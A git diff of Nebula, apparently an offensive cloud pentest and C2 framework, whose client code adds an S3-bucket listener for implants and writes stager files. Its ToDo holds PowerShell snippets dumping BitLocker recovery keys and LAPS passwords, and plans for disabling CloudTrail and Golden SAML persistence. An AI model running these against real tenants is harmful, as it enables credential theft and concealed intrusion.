:o' cXMMMMMMMMMMMMMWNXKKXNWWKxc,. ..''''.. + ..''''.... oNKl'. ..oXMMMMMMMMMMMMMMMMMMMMMMMMMNKOdc,.. ..''''. + ..''''.. ,OWWX0O0XWMMMMMMMMMMMMMMMMMMWWWWMMMMMMMMMWXOxooxk:. ..'''. + ..'''''''''''''''''''''. .l0NMMMMMMMMMMMMMMMMMMMMN0dc;;;coONMMMMMMMMMMMMMK: ..'''. + ....................... .,dXMMMMMMMMMMMMMMMMMMWX0ko:. .;OWMMMMMMMMMMMWx. .'''. + .oWMMMMMMMMMMMMMMWNXXXWMMWKd' .:lccclodOXWMWd. .'''. + ,lc' .................. ',. .,OWMMMMMMMMMMMMXx:'...:0WMMMKl. .. .'oKO, .'''. + ,0MWx. .''''''''''''''''''. ;OKOOOO0NWMMMMMMMMMMMMNl. .cdoox0XOl;'....... ... .'''. + .;ol' ................... ;kXWMMMMMMMMMMMMMMMMMWx. .:0WNKkdo:. ... .'''. + .................... .:ldxk0XWMMMMMMMMMMMW0o' .';;,. .... ..'''. + ;k00000000000000000000x' ..;lkXWMMMMMMMMMWXkc. ..'''. + .lXWWWWWWWWWWWWWWWWWWMMWKl. ;OWMMMMMMMMMMMWKx:. ..''''. + .,,,,,,,,,,,,,,,,,:kNMMW0o,. 'kWMMMMMMMMMMMMMMWKd,. ..''''.. + .:ONMMMNKkdlc:::::::::ccldkKWMMMMMMMMMMMMMMMMMMNOl' ...........'''''.. + .,oOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXkc....''''''''''... + .':ldkO0000000000000000000000000000000000000000Ox:. ........ + ........................................... + + + _ _______ ______ _ _______ + ( ( /|( ____ \( ___ \ |\ /|( \ ( ___ ) + | \ ( || ( \/| ( ) )| ) ( || ( | ( ) | + | \ | || (__ | (__/ / | | | || | | (___) | + | (\ \) || __) | __ ( | | | || | | ___ | + | | \ || ( | ( \ \ | | | || | | ( ) | + | ) \ || (____/\| )___) )| (___) || (____/\| ) ( | + |/ )_)(_______/|/ \___/ (_______)(_______/|/ \| + Because Clouds are so AWSome + + ------------------------------------------------------------- + Created by: gl4ssesbo1 + ------------------------------------------------------------- + 48 aws 1 gcp 7 azure 0 office365 + 0 docker 0 kubernetes 6 misc 4 azuread + 4 digitalocean + ------------------------------------------------------------- + 81 modules 6 cleanup 0 detection + 19 enum 22 exploit 2 persistence + 2 listeners 0 lateral movement 7 detection bypass + 0 privesc 16 reconnaissance 2 stager 1 postexploitation + 4 misc + + Remember: + ------------------------------------------------------------- + 1) Only use this tool if you have permissions from the + infrastructure's owner. Don't be a dick. Don't choose jail. + And if you have some scruples, don't hack others just because + you can (or cannot, in which case that's why you chose this + tool to do it). + + 2) There is a template file on module directory that you can + use if you want to develop new modules. If you want to + contribute on this tool, be my guest. + + 3) Thank you for using this tool and Hack the Planet Legally! + ------------------------------------------------------------- [*] Importing sessions found on ~/.aws [*] Imported sessions found on ~/.aws. Enter 'show credentials' to get the credentials. -(work5)()(Nebula) >>> +(test)()(Nebula) ``` ### Help Running *help* command, will give you a list of the commands that can be used: diff --git a/ToDo.txt b/ToDo.txt index 8c2e9a8..500aedb 100644 --- a/ToDo.txt +++ b/ToDo.txt @@ -1,37 +1,44 @@ [*] Reconnaissance - reconnaissance/azure_unauth_user_enum (adfs too) - reconnaissance/aws_find_ip_category - reconnaissance/azure_fuzz_subdomains reconnaissance/misc_gitdumper [*] Enum: - enum/get_iam_groups https://github.com/prowler-cloud/prowler RoadTools All Zeus Features: https://github.com/DenizParlak/Zeus [*] Console - https://github.com/NetSPI/aws_consoler + https://github.com/NetSPI/aws_consoler (Done) [*] Exploit Device Code Phishing + Bitlocker Dump: (Get-MgInformationProtectionBitlockerRecoveryKey -All) | ForEach-Object { +$device = (Get-MgDevice -Filter "deviceId eq '$($_.DeviceId)'").DisplayName +$key = (Get-MgInformationProtectionBitlockerRecoveryKey -BitlockerRecoveryKeyId $_.Id -Property Key).Key +[array]$bitlockerReport += "$device,$key" +} +$bitlockerReport + + LAPS Dump: Connect-MgGraph -Scopes 'http://DeviceLocalCredential.Read.All' + +Get-MgDevice -Filter "OperatingSystem eq 'Windows'" | ForEach-Object { +[array]$b64 = (Get-MgDirectoryDeviceLocalCredential -DeviceLocalCredentialInfoId $_.DeviceId -Property credentials).credentials.PasswordBase64 +[string]$pw = if (!([string]::IsNullOrEmpty($b64))) { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(($b64)[0])) } +[array]$lapsReport += "$($_.displayName),$pw" +} +$lapsReport + [*] Post Exploitation https://github.com/Static-Flow/CloudCopy https://github.com/andresriancho/enumerate-iam (like my enumerate iam) [*] Bypass Defences Disable Logging - Disable CloudTrail - Disable monitoring of events from global services - Disable Cloud Trail on specific regions Delete logs from Bucket - User Agent Change [*] Persistence Golden SAML Attack Update AWS key - Create 2nd key [*] Commands list_aws_iam_groups diff --git a/argparse.sh b/argparse.sh new file mode 100755 index 0000000..e288a60 --- /dev/null +++ b/argparse.sh @@ -0,0 +1,105 @@ +#!/bin/bash + +# argparse.sh contains bash functions that streamlines the management of +# command-line arguments in Bash scripts + +# Example: +# define_arg "username" "" "Username for login" "string" "true" +# parse_args "$@" +# +# echo "Welcome, $username!" +# +# # Usage: +# # ./example.sh --username Alice + +# Author: Yaacov Zamir +# License: MIT License. +# https://github.com/yaacov/argparse-sh/ + +# Declare an associative array for argument properties +declare -A ARG_PROPERTIES + +# Variable for the script description +SCRIPT_DESCRIPTION="" + +# Function to display an error message and exit +# Usage: display_error "Error message" +display_error() { + echo -e "Error: $1\n" + show_help + exit 1 +} + +# Function to set the script description +# Usage: set_description "Description text" +set_description() { + SCRIPT_DESCRIPTION="$1" +} + +# Function to define a command-line argument +# Usage: define_arg "arg_name" ["default"] ["help text"] ["action"] ["required"] +define_arg() { + local arg_name=$1 + ARG_PROPERTIES["$arg_name,default"]=${2:-""} # Default value + ARG_PROPERTIES["$arg_name,help"]=${3:-""} # Help text + ARG_PROPERTIES["$arg_name,action"]=${4:-"string"} # Action, default is "string" + ARG_PROPERTIES["$arg_name,required"]=${5:-"false"} # Required flag, default is "false" +} + +# Function to parse command-line arguments +# Usage: parse_args "$@" +parse_args() { + while [[ $# -gt 0 ]]; do + key="$1" + key="${key#--}" # Remove the '--' prefix + + if [[ -n "${ARG_PROPERTIES[$key,help]}" ]]; then + if [[ "${ARG_PROPERTIES[$key,action]}" == "store_true" ]]; then + export "$key"="true" + shift # past the flag argument + else + [[ -z "$2" || "$2" == --* ]] && display_error "Missing value for argument --$key" + export "$key"="$2" + shift # past argument + shift # past value + fi + else + display_error "Unknown option: $key" + fi + done + + # Check for required arguments + for arg in "${!ARG_PROPERTIES[@]}"; do + arg_name="${arg%%,*}" # Extract argument name + [[ "${ARG_PROPERTIES[$arg_name,required]}" == "true" && -z "${!arg_name}" ]] && display_error "Missing required argument --$arg_name" + done + + # Set defaults for any unset arguments + for arg in "${!ARG_PROPERTIES[@]}"; do + arg_name="${arg%%,*}" # Extract argument name + [[ -z "${!arg_name}" ]] && export "$arg_name"="${ARG_PROPERTIES[$arg_name,default]}" + done +} + +# Function to display help +# Usage: show_help +show_help() { + [[ -n "$SCRIPT_DESCRIPTION" ]] && echo -e "$SCRIPT_DESCRIPTION\n" + + echo "usage: $0 [options...]" + echo "options:" + for arg in "${!ARG_PROPERTIES[@]}"; do + arg_name="${arg%%,*}" # Extract argument name + [[ "${arg##*,}" == "help" ]] && { + [[ "${ARG_PROPERTIES[$arg_name,action]}" != "store_true" ]] && echo " --$arg_name [TXT]: ${ARG_PROPERTIES[$arg]}" || echo " --$arg_name: ${ARG_PROPERTIES[$arg]}" + } + done +} + +# Function to check for help option +# Usage: check_for_help "$@" +check_for_help() { + for arg in "$@"; do + [[ $arg == "-h" || $arg == "--help" ]] && { show_help; exit 0; } + done +} diff --git a/client/Dockerfile b/client/Dockerfile index a337310..9605ecd 100644 --- a/client/Dockerfile +++ b/client/Dockerfile @@ -1,5 +1,4 @@ -FROM python:3.9 -#FROM python:3.8-slim-buster +FROM python:3.10 WORKDIR /nebula_client @@ -7,11 +6,10 @@ COPY . . RUN apt update && apt upgrade -y RUN apt install python3-dev -y -RUN python3.9 -m pip install -r requirements.txt -RUN apt update && apt install awscli -y +RUN python3 -m pip install -r requirements.txt +RUN apt update && apt install awscli less -y RUN apt-get update; apt-get install curl -y RUN curl "https://s3.amazonaws.com/session-manager-downloads/plugin/latest/ubuntu_64bit/session-manager-plugin.deb" -o "session-manager-plugin.deb" RUN dpkg -i session-manager-plugin.deb -ENTRYPOINT ["python3.9"] -#ENTRYPOINT [ "/bin/bash"] +ENTRYPOINT ["python3", "client.py"] diff --git a/client/argparse.sh b/client/argparse.sh new file mode 100755 index 0000000..e288a60 --- /dev/null +++ b/client/argparse.sh @@ -0,0 +1,105 @@ +#!/bin/bash + +# argparse.sh contains bash functions that streamlines the management of +# command-line arguments in Bash scripts + +# Example: +# define_arg "username" "" "Username for login" "string" "true" +# parse_args "$@" +# +# echo "Welcome, $username!" +# +# # Usage: +# # ./example.sh --username Alice + +# Author: Yaacov Zamir +# License: MIT License. +# https://github.com/yaacov/argparse-sh/ + +# Declare an associative array for argument properties +declare -A ARG_PROPERTIES + +# Variable for the script description +SCRIPT_DESCRIPTION="" + +# Function to display an error message and exit +# Usage: display_error "Error message" +display_error() { + echo -e "Error: $1\n" + show_help + exit 1 +} + +# Function to set the script description +# Usage: set_description "Description text" +set_description() { + SCRIPT_DESCRIPTION="$1" +} + +# Function to define a command-line argument +# Usage: define_arg "arg_name" ["default"] ["help text"] ["action"] ["required"] +define_arg() { + local arg_name=$1 + ARG_PROPERTIES["$arg_name,default"]=${2:-""} # Default value + ARG_PROPERTIES["$arg_name,help"]=${3:-""} # Help text + ARG_PROPERTIES["$arg_name,action"]=${4:-"string"} # Action, default is "string" + ARG_PROPERTIES["$arg_name,required"]=${5:-"false"} # Required flag, default is "false" +} + +# Function to parse command-line arguments +# Usage: parse_args "$@" +parse_args() { + while [[ $# -gt 0 ]]; do + key="$1" + key="${key#--}" # Remove the '--' prefix + + if [[ -n "${ARG_PROPERTIES[$key,help]}" ]]; then + if [[ "${ARG_PROPERTIES[$key,action]}" == "store_true" ]]; then + export "$key"="true" + shift # past the flag argument + else + [[ -z "$2" || "$2" == --* ]] && display_error "Missing value for argument --$key" + export "$key"="$2" + shift # past argument + shift # past value + fi + else + display_error "Unknown option: $key" + fi + done + + # Check for required arguments + for arg in "${!ARG_PROPERTIES[@]}"; do + arg_name="${arg%%,*}" # Extract argument name + [[ "${ARG_PROPERTIES[$arg_name,required]}" == "true" && -z "${!arg_name}" ]] && display_error "Missing required argument --$arg_name" + done + + # Set defaults for any unset arguments + for arg in "${!ARG_PROPERTIES[@]}"; do + arg_name="${arg%%,*}" # Extract argument name + [[ -z "${!arg_name}" ]] && export "$arg_name"="${ARG_PROPERTIES[$arg_name,default]}" + done +} + +# Function to display help +# Usage: show_help +show_help() { + [[ -n "$SCRIPT_DESCRIPTION" ]] && echo -e "$SCRIPT_DESCRIPTION\n" + + echo "usage: $0 [options...]" + echo "options:" + for arg in "${!ARG_PROPERTIES[@]}"; do + arg_name="${arg%%,*}" # Extract argument name + [[ "${arg##*,}" == "help" ]] && { + [[ "${ARG_PROPERTIES[$arg_name,action]}" != "store_true" ]] && echo " --$arg_name [TXT]: ${ARG_PROPERTIES[$arg]}" || echo " --$arg_name: ${ARG_PROPERTIES[$arg]}" + } + done +} + +# Function to check for help option +# Usage: check_for_help "$@" +check_for_help() { + for arg in "$@"; do + [[ $arg == "-h" || $arg == "--help" ]] && { show_help; exit 0; } + done +} diff --git a/client/banner.py b/client/banner.py index 2b28f9b..42253ec 100644 --- a/client/banner.py +++ b/client/banner.py @@ -60,7 +60,7 @@ def module_count(nr_of_cloud_modules, nr_of_modules, all_count): print("\t\t\t\t{} aws\t\t{} gcp\t\t{} azure\t\t{} office365".format(nr_of_cloud_modules['aws'], nr_of_cloud_modules['gcp'], nr_of_cloud_modules['azure'], - nr_of_cloud_modules['o365'])) + nr_of_cloud_modules['office365'])) print("\t\t\t\t{} docker\t{} kubernetes\t{} misc\t\t{} azuread".format(nr_of_cloud_modules['docker'], nr_of_cloud_modules['kube'], nr_of_cloud_modules['misc'], @@ -74,11 +74,11 @@ def module_count(nr_of_cloud_modules, nr_of_modules, all_count): print("\t\t\t\t{} listeners\t{} lateral movement\t{} detection bypass".format(nr_of_modules['listeners'], nr_of_modules['lateralmovement'], nr_of_modules['detectionbypass'])) - print("\t\t\t\t{} privesc\t{} reconnaissance\t{} stager\t{} postexploitation".format(nr_of_modules['privesc'], + print("\t\t\t\t{} privesc\t{} reconnaissance\t{} stager".format(nr_of_modules['privesc'], nr_of_modules['reconnaissance'], - nr_of_modules['stager'], - nr_of_modules['postexploitation'])) - print("\t\t\t\t{} misc".format(nr_of_modules['misc'])) + nr_of_modules['stager'] + )) + print(f"\t\t\t\t{nr_of_modules['misc']} misc\t\t{nr_of_modules['initialaccess']} initialaccess\t\t{nr_of_modules['postexploitation']} postexploitation") def disclaimer(): @@ -102,7 +102,7 @@ def disclaimer(): def module_count_without_banner(nr_of_cloud_modules, nr_of_modules, all_count): print("{} aws\t\t{} gcp\t\t{} azure\t\t{} office365".format(nr_of_cloud_modules['aws'], nr_of_cloud_modules['gcp'], nr_of_cloud_modules['azure'], - nr_of_cloud_modules['o365'])) + nr_of_cloud_modules['office365'])) print("{} docker\t{} kubernetes\t{} misc\t\t{} azuread".format(nr_of_cloud_modules['docker'], nr_of_cloud_modules['kube'], nr_of_cloud_modules['misc'], @@ -116,8 +116,8 @@ def module_count_without_banner(nr_of_cloud_modules, nr_of_modules, all_count): print("{} listeners\t{} lateral movement\t{} detection bypass".format(nr_of_modules['listeners'], nr_of_modules['lateralmovement'], nr_of_modules['detectionbypass'])) - print("{} privesc\t{} reconnaissance\t{} stager\t{} postexploitation".format(nr_of_modules['privesc'], + print("{} privesc\t{} reconnaissance\t{} stager".format(nr_of_modules['privesc'], nr_of_modules['reconnaissance'], - nr_of_modules['stager'], - nr_of_modules['postexploitation'])) - print("{} misc".format(nr_of_modules['misc'])) + nr_of_modules['stager'] + )) + print(f"{nr_of_modules['misc']} misc\t\t{nr_of_modules['initialaccess']} initialaccess\t\t{nr_of_modules['postexploitation']} postexploitation") diff --git a/client/client.py b/client/client.py index 704caf5..b604800 100644 --- a/client/client.py +++ b/client/client.py @@ -1,6 +1,7 @@ +# !/usr/bin/python3 import argparse import base64 -import getpass +from getpass import getpass import json import os import platform @@ -10,13 +11,14 @@ from pydoc import pipepager import string +import boto3 import botocore -# !/usr/bin/python3 import botocore.session import prettytable import requests from colorama import init -#import prompt_toolkit + +from core.RunAndPrintModule import RunModule, PrintAWSModule, PrintModule from prompt_toolkit import PromptSession from prompt_toolkit.completion import NestedCompleter @@ -29,16 +31,17 @@ import banner import commands.aws_get_user_id from commands.get_iam_users import list_aws_iam_users, get_aws_iam_user +from commands.aws_s3_c2_client import getsendcommand from help import help init() parser = argparse.ArgumentParser(description='------ Nebula Client Options ------') -parser.add_argument('-ah', '--apiHost', type=str, help='The API Server Host.', required=True) +parser.add_argument('-ah', '--apiHost', type=str, help='The API Server Host.', default="127.0.0.1") parser.add_argument('-ap', '--apiPort', type=int, help='The API Server Port. (Default: 5000)', default=5000) parser.add_argument('-w', '--workspace', type=str, help='The Workspace to work with. (Required)', required=True) parser.add_argument('-u', '--username', type=str, help='The username to login as (Default \'cosmonaut\').') -parser.add_argument('-p', '--password', type=str, help='The password for user \'cosmonaut\'. (Required)', required=True) +parser.add_argument('-p', '--password', type=str, help='The password for user \'cosmonaut\'. (Required)') parser.add_argument("-b", action='store_true', help="Do not print banner") parser.add_argument("-c", "--config-file", help="Config File path") args = parser.parse_args() @@ -52,7 +55,13 @@ if username == None: username = 'cosmonaut' - password = args.password + if args.password is not None: + password = args.password + else: + password = getpass("Password: ") + while password == "": + password = getpass("Password: ") + jwt_token = "" workspace = args.workspace else: @@ -92,7 +101,6 @@ workspaces = [] module = '' module_char = '' -particle = '' module_options = {} show = [ @@ -108,7 +116,8 @@ 'reconnaissance', 'stager', 'misc', - "postexploitation" + "postexploitation", + "initialaccess" ] global all_sessions @@ -266,7 +275,7 @@ def list_dictionary(d, n_tab): "aws-credentials": None, "azure-credentials": None, "azuread-credentials": None, - "digitalocean-credentials": None, + "do-credentials": None, "gcp-credentials": None, "user-agent": { "linux":None, @@ -356,6 +365,7 @@ def list_dictionary(d, n_tab): for do_sess in digitalocean_sessions: comms['use']['credentials'][do_sess['digitalocean_profile_name']] = None + comms['remove']['credentials'][do_sess['digitalocean_profile_name']] = None if "digitalocean_token" in do_sess: all_sessions.append( { @@ -380,6 +390,7 @@ def list_dictionary(d, n_tab): for aws_sess in aws_sessions: comms['use']['credentials'][aws_sess['aws_profile_name']] = None + comms['remove']['credentials'][aws_sess['aws_profile_name']] = None if "aws_session_token" in aws_sess: all_sessions.append( { @@ -411,12 +422,13 @@ def list_dictionary(d, n_tab): for az_sess in azure_sessions: del az_sess['_id'] for ass in all_sessions: - if az_sess["azure_creds_id"] == ass['profile']: + if az_sess["azure_creds_name"] == ass['profile']: pass else: - comms['use']['credentials'][az_sess['azure_creds_id']] = None - az_sess['profile'] = az_sess['azure_creds_id'] - del(az_sess['azure_creds_id']) + comms['use']['credentials'][az_sess['azure_creds_name']] = None + comms['remove']['credentials'][az_sess['azure_creds_name']] = None + az_sess['profile'] = az_sess['azure_creds_name'] + del(az_sess['azure_creds_name']) az_sess['provider'] = 'AZURE' all_sessions.append(az_sess) break @@ -439,23 +451,25 @@ def update_all_sessions_azure(): test = 1 for az_sess in azure_sessions: for ass in all_sessions: - if az_sess['azure_creds_id'] == ass['profile']: + if az_sess['azure_creds_name'] == ass['profile']: test = 0 if az_sess['azure_access_token'] == ass['azure_access_token']: pass else: all_sessions.remove(ass) - comms['use']['credentials'][az_sess['azure_creds_id']] = None - az_sess['profile'] = az_sess['azure_creds_id'] - del (az_sess['azure_creds_id']) + comms['use']['credentials'][az_sess['azure_creds_name']] = None + comms['remove']['credentials'][az_sess['azure_creds_name']] = None + az_sess['profile'] = az_sess['azure_creds_name'] + del (az_sess['azure_creds_name']) az_sess['provider'] = 'AZURE' all_sessions.append(az_sess) continue if test == 1: - comms['use']['credentials'][az_sess['azure_creds_id']] = None - az_sess['profile'] = az_sess['azure_creds_id'] - del (az_sess['azure_creds_id']) + comms['use']['credentials'][az_sess['azure_creds_name']] = None + comms['remove']['credentials'][az_sess['azure_creds_name']] = None + az_sess['profile'] = az_sess['azure_creds_name'] + del (az_sess['azure_creds_name']) az_sess['provider'] = 'AZURE' all_sessions.append(az_sess) @@ -477,10 +491,34 @@ def unique_sessions(): size -= 1 j -= 1 all_sessions = all_sessions[:size] + +particles = [] +particle_command_key = "" +particle_output_key = "" +particle = '' def main(workspace, particle, module_char): + """ + dbdata = { + "particle_key_name": "", + "particle_listener_name": bucket + } + + try: + s3c2data = S3C2Particle.objects.get(particle_listener_name=bucket) + s3c2data.modify(**dbdata) + s3c2data.save() + + except mongoengine.DoesNotExist: + S3C2Particle(**dbdata).save() + + except: + e = sys.exc_info() + return {"error": "Error from module: {}".format(str(e))}, 500 + """ + terminal = 'Nebula' - curr_creds = {} - useragent = "" + curr_creds = None + cred_prof = "" global username global web_proxies @@ -530,6 +568,7 @@ def main(workspace, particle, module_char): all_sessions.append(ass) comms['use']['credentials'][botoprofile] = None + comms['remove']['credentials'][botoprofile] = None creds_response = requests.put("{}/api/latest/awscredentials".format(apihost), headers={ @@ -577,6 +616,7 @@ def main(workspace, particle, module_char): all_sessions.append(ass) comms['use']['credentials'][botoprofile] = None + comms['remove']['credentials'][botoprofile] = None creds_response = requests.put("{}/api/latest/awscredentials".format(apihost), headers={ @@ -619,6 +659,7 @@ def main(workspace, particle, module_char): all_sessions.append(ass) comms['use']['credentials'][botoprofile] = None + comms['remove']['credentials'][botoprofile] = None creds_response = requests.put("{}/api/latest/awscredentials".format(apihost), headers={ "Authorization": "Bearer {}".format(jwt_token) @@ -656,6 +697,88 @@ def main(workspace, particle, module_char): command.strip() while True: + useragent = "" + + + listeners = requests.get("{}/api/latest/listeners".format(apihost), + headers={ + "Authorization": "Bearer {}".format(jwt_token) + } + ).json()["Listeners"] + + if listeners is not None: + for listener in listeners: + del listener['_id'] + + listenerargs = { + "service_name": "s3", + "region_name": listener['listener_region'], + "aws_access_key_id": listener['listener_access_key'], + "aws_secret_access_key": listener['listener_secret_key'] + } + + s3profile = boto3.client( + **listenerargs + ) + statuscode = requests.get(f"https://{listener['listener_bucket_name']}.s3.amazonaws.com").status_code + if statuscode == 200 or statuscode == 403: + try: + response = s3profile.list_objects_v2( + Bucket=listener['listener_bucket_name'], + #SSECustomerKey=listener['listener_kms_key_arn'] + ) + + if "Contents" in response: + listenerobjects = response["Contents"] + while response["IsTruncated"]: + listenerobjects.extend(response["Contents"]) + + for lkey in listenerobjects: + if lkey['Key'][-1] == "/": + parcheck = 0 + for particletemp in particles: + if lkey['Key'][:-1] == particletemp['particle_key_name']: + parcheck = 1 + if parcheck == 0: + particles.append({ + "particle_key_name": lkey['Key'][:-1], + "particle_listener_name": listener['listener_bucket_name'] + }) + comms['use']['particle'][lkey['Key'][:-1]] = None + except: + print( + colored( + "[*] The bucket does not exist. Deleting listener", "red" + ) + ) + dellistener = requests.delete("{}/api/latest/listeners".format(apihost), + headers={ + "Authorization": "Bearer {}".format(jwt_token) + }, + json={"listener_bucket_name": listener['listener_bucket_name']} + ) + + if not dellistener.status_code == 200: + print(dellistener.json()['error']) + else: + print( + colored( + "[*] The bucket does not exist. Deleting listener", "red" + ) + ) + dellistener = requests.delete("{}/api/latest/listeners".format(apihost), + headers={ + "Authorization": "Bearer {}".format(jwt_token) + }, + json={"listener_bucket_name": listener['listener_bucket_name']} + ) + for listenerobj in listeners: + if listenerobj['listener_bucket_name'] == listener['listener_bucket_name']: + del listeners[listeners.index(listenerobj)] + + if not dellistener.status_code == 200: + print(dellistener.json()['error']) + n_tab = 0 global output @@ -666,6 +789,35 @@ def main(workspace, particle, module_char): if command == 'help': help.help() + elif len(command.split(" ")) > 1 and command.split(" ")[0] == 'search': + searchstring = command.split(" ")[1] + column_width, row_width = os.get_terminal_size(0) + #table.max_width = column_width + table = prettytable.PrettyTable(max_table_width=column_width) + table.field_names = [colored('Modules', "green"), colored('Description', "green")] + + rowcheck = 0 + for m in modules_json: + if searchstring in m['amodule']: + if rowcheck == 0: + rowcheck = 1 + color = "blue" + elif rowcheck == 1: + rowcheck = 0 + color = "yellow" + table.add_row([ + colored(m['amodule'], color), + colored(m['description'], color) + ]) + table.add_row([ + "", + "" + ]) + + table.max_width = int(os.get_terminal_size().columns - 60) + table.align = 'l' + table.set_style(prettytable.DOUBLE_BORDER) + print(table) elif len(command.split(" ")) > 1 and command.split(" ")[0] == 'help': help_comm = command.split(" ")[1] help.specific_help(help_comm) @@ -861,36 +1013,62 @@ def main(workspace, particle, module_char): formatters.TerminalFormatter()) print(colorful_json) - elif command.split(" ")[1] == 'listeners': + elif command.split(" ")[1] == 'particles': + column_width, row_width = os.get_terminal_size(0) + # table.max_width = column_width table = prettytable.PrettyTable(max_table_width=column_width) + table.field_names = [ + colored("Particle Name", "green"), + colored("Bucket Name", "green") + ] - websocket_listeners = json.loads(requests.get("{}/api/latest/listeners".format(apihost), - headers={"Authorization": "Bearer {}".format(jwt_token)}).text) - wskeys = [] - if len(websocket_listeners) > 0: - for key in websocket_listeners[0]: - wskeys.append(key) - wsvalues = [] - onewsvalue = [] - try: - del key - except: - pass + for particlelist in particles: + row = [ + particlelist['particle_key_name'], + particlelist['particle_listener_name'], + ] - try: - del value - except: - pass + table.add_row(row) - for websocket_listener in websocket_listeners: - for key,value in websocket_listener.items(): - onewsvalue.append(value) - wsvalues.append(onewsvalue) - table.field_names = [colored('Modules', "green"), colored('Description', "green")] - print(tabulate(onewsvalue, headers=['Name', 'Age'])) - del wsvalues - del onewsvalue + table.max_width = int(os.get_terminal_size().columns - 60) + table.align = 'l' + table.set_style(prettytable.DOUBLE_BORDER) + print(table) + del table + elif command.split(" ")[1] == 'listeners': + if listeners is not None: + column_width, row_width = os.get_terminal_size(0) + # table.max_width = column_width + table = prettytable.PrettyTable(max_table_width=column_width) + table.field_names = [ + colored("Bucket Name", "green"), + colored("Command File", "green"), + colored("Output File", "green"), + colored("KMS Key", "green"), + + ] + + for listener in listeners: + row = [ + listener['listener_bucket_name'], + listener['listener_command_file'], + listener['listener_output_file'], + listener['listener_kms_key_arn'] + ] + + table.add_row(row) + + table.max_width = int(os.get_terminal_size().columns - 60) + table.align = 'l' + table.set_style(prettytable.DOUBLE_BORDER) + print(table) + else: + print( + colored( + "[*] No listeners configured", "red" + ) + ) elif command.split(" ")[1] == 'web-proxies': if len(web_proxies) > 0: print(colored("-------------------------------------", @@ -917,7 +1095,11 @@ def main(workspace, particle, module_char): print(colored(f"[*] User Agent Set to: {useragent}", "green")) elif command.split(" ")[1] == 'current-creds': - if len(curr_creds) > 0: + if curr_creds == None: + print( + colored("[*] No current creds set", "red") + ) + elif len(curr_creds) > 0: print(colored("-------------------------------------", "yellow")) @@ -1070,7 +1252,7 @@ def main(workspace, particle, module_char): print(colored("[*] The correct form should be: reset-password ", "red")) else: - user_passwod = getpass.getpass("Password: ").replace("\n", "").strip() + user_passwod = getpass("Password: ").replace("\n", "").strip() if user_passwod == "": print(colored("[*] Password can't be empty", "red")) @@ -1149,6 +1331,14 @@ def main(workspace, particle, module_char): print( colored("[*] Exact module format is /. Eg: use module enum/s3_list_buckets", "red")) + elif command.split(" ")[1] == 'particle': + if len(command.split(" ")) < 3: + print( + colored("[*] Also provide the profile name. Eg: use credentials ", + "red")) + else: + particle = command.split(" ")[2] + elif command.split(" ")[1] == 'credentials': if len(command.split(" ")) < 3: print( @@ -1156,13 +1346,19 @@ def main(workspace, particle, module_char): "red")) else: for cred in all_sessions: + c = 0 if command.split(" ")[2] == cred['profile']: cred_prof = command.split(" ")[2] curr_creds = cred print(colored("[*] Currect credential profile set to ", "green") + colored( "'{}'.".format(cred_prof), "blue") + colored("Use ", "green") + colored( "'show current-creds' ", "blue") + colored("to check them.", "green")) + c = 1 break + if c == 0: + print( + colored(f"[*] Credential \"{command.split(' ')[2]}\" does not exist. Please choose a valid one", + "red")) elif command.split(" ")[1] == 'module': if not "/" in command.split(" ")[2]: @@ -1226,6 +1422,8 @@ def main(workspace, particle, module_char): colored("Description", "yellow"), colored('The service that will be used to run the module. It cannot be changed.', "green"))) for key,value in module_options['module_options'].items(): + if "hidden" in value and value['hidden'] == "true": + continue if key == 'SERVICE': pass @@ -1306,44 +1504,161 @@ def main(workspace, particle, module_char): for key, value in module_options['module_options'].items(): if 'iswordlist' in value and value['iswordlist'] and not value['value'] == "": - wordlistfile = open(value['value']) - wordlistarray = [] - for line in wordlistfile.readlines(): - wordlistarray.append(line) + if not os.path.exists(value['value']): + print(colored("[*] File does not exist. Check the path or name.", "red")) + count += 1 + else: + wordlistfile = open(value['value']) + wordlistarray = [] + for line in wordlistfile.readlines(): + wordlistarray.append(line.replace("\n", "").strip()) + + value['wordlistvalue'] = wordlistarray + + del (wordlistfile) + del (wordlistarray) + + if 'isfile' in value and value['isfile'] and not value['value'] == "": + if not os.path.exists(value['value']): + print(colored("[*] File does not exist. Check the path or name.", "red")) + count += 1 + else: + fileobj = open(value['value']) + fileContent = fileobj.read().encode('ascii') + value['filevalue'] = base64.b64encode(fileContent) + + del (fileContent) + del (fileobj) - value['value'] = wordlistarray if count == 0: if (module_char.split("_")[0]).split("/")[1] == 'aws': - for AWSregion in regions: - if bool(module_options['needs_creds']): - module_output = {} + if module_options['needs_creds']: + if curr_creds is None: + print( + colored( + "[*] Please select a credential", "red", attrs=['bold'] + ) + ) + elif curr_creds['provider'] != "AWS": + print( + colored( + "[*] Please select AWS credentials for this module", "red", attrs=['bold'] + ) + ) + else: + if len(regions) == 0: + if curr_creds['region'] != "": + regions = [curr_creds['region']] + else: + if len(regions) == 0: + print( + colored("[*] Please select a region, or all", "yellow") + ) + i = 0 + for printRegion in AWS_REGIONS: + print( + colored(f"\t[{i}] {printRegion}", "yellow") + ) + i += 1 + + regionSelect = input( + colored(f"Enter numbers 0-{i-1}: ", "yellow") + ) + while True: + try: + if int(regionSelect) >= 0 and int(regionSelect) < i: + regions.append(AWS_REGIONS[i]) + break + elif int(regionSelect) == i: + regions = AWS_REGIONS + else: + regionSelect = input( + colored(f"Enter numbers 0-{i-1}: ", "yellow") + ) + except ValueError: + regionSelect = input( + colored(f"Enter numbers 0-{i-1}: ", "yellow") + ) + + module_output = {} + for AWSregion in regions: if len(regions) == 0: print(colored('[*] Select one or several (split by comma) regions using "set default-regions " or use All with ""set default-regions All""', "red")) else: print(colored(f'[*] Running module "{module_char}" on region "{AWSregion}".', "yellow")) - from core.RunAndPrintModule import RunModule for iamuser in all_sessions: if iamuser['profile'] == cred_prof: iamuser['region'] = AWSregion - print(web_proxies) + module_output[AWSregion] = RunModule(module_char, module_options, cred_prof, useragent, workspace, web_proxies, jwt_token, apihost, username, AWSregion) - print(module_output) - from core.RunAndPrintModule import PrintAWSModule + + + if module_char.split("/")[0] == "stager" or module_char.split("/")[0] == "listeners": + if not "error" in module_output[AWSregion]: + if not os.path.exists(".stagers"): + os.makedirs(".stagers") + + try: + with open( + f".stagers/{AWSregion}_{module_output[AWSregion]['OutPutFile']}", + 'w') as stagerfile: + stagerfile.write(base64.b64decode( + module_output[AWSregion]['Code']).decode()) + stagerfile.close() + del (module_output[AWSregion]['Code']) + module_output[AWSregion]['OutPutFile'] = 